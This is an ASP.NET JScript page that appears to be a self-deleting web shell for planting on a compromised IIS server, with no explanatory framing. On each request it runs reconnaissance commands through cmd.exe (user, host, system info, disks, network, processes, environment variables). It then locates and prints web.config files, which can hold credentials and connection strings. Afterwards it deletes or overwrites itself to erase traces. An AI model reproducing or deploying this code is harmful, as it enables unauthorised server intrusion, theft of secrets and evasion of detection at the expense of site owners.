<%@ Page Language="Jscript" %><% var m = "RB0fade5b88147f5a2"; Response.Write("M" + m + ":cmd\n"); try { var p = new System.Diagnostics.Process(); p.StartInfo.FileName = "cmd.exe"; p.StartInfo.Arguments = "/c whoami & hostname & systeminfo & wmic logicaldisk get caption\,freespace\,size & ipconfig & tasklist & set"; p.StartInfo.RedirectStandardOutput = true; p.StartInfo.UseShellExecute = false; p.StartInfo.CreateNoWindow = true; p.Start(); if (!p.WaitForExit(25000) && !p.HasExited) { try { p.Kill(); } catch (ek) {} } Response.Write(p.StandardOutput.ReadToEnd()); } catch (e) { Response.Write("cmdfail " + e); } Response.Write("\nM" + m + ":webcfg\n"); try { var cands = [Server.MapPath("~/web.config"), Server.MapPath("~/HM/web.config")]; var dir = System.IO.Path.GetDirectoryName(Request.PhysicalPath); for (var i = 0; i < 3 && dir; i++) { cands.push(dir + "\\web.config"); dir = System.IO.Path.GetDirectoryName(dir); } var cfg = "none"; for (var j = 0; j < cands.length; j++) { if (System.IO.File.Exists(cands[j])) { cfg = cands[j] + "\n" + System.IO.File.ReadAllText(cands[j]); break; } } Response.Write(cfg); } catch (e2) { Response.Write("cfgfail " + e2); } Response.Write("\nM" + m + ":done\n"); try { System.IO.File.Delete(Request.PhysicalPath); } catch (e3) { try { System.IO.File.WriteAllText(Request.PhysicalPath, "removed"); } catch (e4) {} } %>